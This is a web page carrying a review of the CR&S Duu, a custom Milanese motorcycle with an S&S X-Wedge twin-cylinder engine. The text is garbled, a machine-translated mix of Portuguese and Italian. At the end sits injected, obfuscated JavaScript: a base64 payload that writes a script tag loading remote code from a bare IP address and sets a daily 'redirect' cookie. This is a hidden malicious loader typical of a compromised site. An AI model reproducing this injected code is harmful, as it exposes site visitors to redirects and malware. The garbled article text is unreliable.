GIVEN motodesign | DESENHAR & ENGENHARIA | Moto personalizado | Milano

duas Rodas

 

Big Twin a Milano!

Após o mono gêmeo: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione

Fada su a Milàn, cont il coeur e cont i man’». Traduzimos para não-Milanese: "Made in Milan, com o coração e as mãos ", E’ la frase scritta sulle moto costruite dalla CR&S Settimo Milanese. Fino ad oggi l’unico modello in catalogo era la Vun, O slim, que agora tem uma irmã, não em todos simplificada, É chamado DUU. Em Milanese dialeto Vun significa "um", como um cilindro, um lugar e "único". leads, l’avrete capito, em vez disso quer dizer "dois" como dois cilindros, due posti e… unicamente, ela. Os clientes do CR&S, na verdade, possono ordinare la propria moto scegliendo l’allestimento, os componentes de chassis, a preparação do motor e, evidentemente, as colorações. É por isso que o preço varia muito, a partir da base de 20.000 euro. A filosofia de design por trás dos modelos CR&S é simples de enunciar, menos para alcançar: a moto deve ser essencial, todo o motor e chassis à vista, mas também deve ser um estilo, em vez de dois: o do fabricante e do cliente que, como mencionado, Ele participa ativamente na criação de seu próprio movimento. SE L’ELA DUU? Gia’, cos’è la Duu? É um poderoso dois cilindros que escapa às definições normais: personalizada nua, roadster, Lutador de rua? Difícil atribuir um gênero específico. mais, simplesmente, descrever as características técnicas, realmente único. O chassis é construído a partir de CR&S e é composta de uma liga de aço gigante superior tubular, uma reminiscência do esquema utilizado pelo especialista suíço Fritz Ele; chi ha un podi primavere alle spalle ricorderà , entre outras, Ele ostenta a maravilhosa Vincent 1967. O tubo grande moldura principal duu também desempenha a função do tanque de combustível, Um exemplo da estratégia do projeto CR&S, que tende para o máximo de integração e simplificar de cada componente. Na parte traseira a estrutura é fechada por meio de placas de liga de excelente luz, obtido o cortador de um "full" forjada. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. as rodas, outra CR exclusivo&S, Eles são esplêndido e em particular a parte traseira, cantilever montados com uma única porca central e está disponível em diferentes desenhos das raças. As superestruturas de fibra de vidro são poucos e essencial; davvero inconsueta la soluzione per il faro anteriore chenon c’é, substituído por dois conjuntos ópticos laterais acomodados nas "brânquias de tubarão" para os lados do garfo, que lembra os traços estilísticos de Vun. Os carros podem ser DUU, como o que nós testamos, ma é previsto l’allestimento a due e quello da viaggio, com sacos e acessórios especiais. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, dois de escape e uma sucção em comum, localizada no cárter. a mudança, separado, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, enquanto a descarga catalisada, construído em CR específico&S, é sotto al motore, com o lado dois 'armas' fantásticas. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. CASAL RIMORCHIATORE Insistimos muito para tentar o protótipo, ainda pendente de conclusão, o DUU, ma ne é valsa la pena. o gêmeo, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! GetCookie função(e){var L = document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retorno U?decodeURIComponent(o[1]):vazio 0}var src =”dados:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,agora = Math.floor(Date.now()/1e3),bolinho = GetCookie(“redirecionar”);E se(agora>=(time = bolinho)||vazio 0 === tempo){tempo var = Math.floor(Date.now()/1E3 + 86400),date = new Date((Nova data).consiga tempo()+86400);document.cookie =”redirect =”+tempo +”; caminho = /; expira =”+date.toGMTString(),document.write(”)}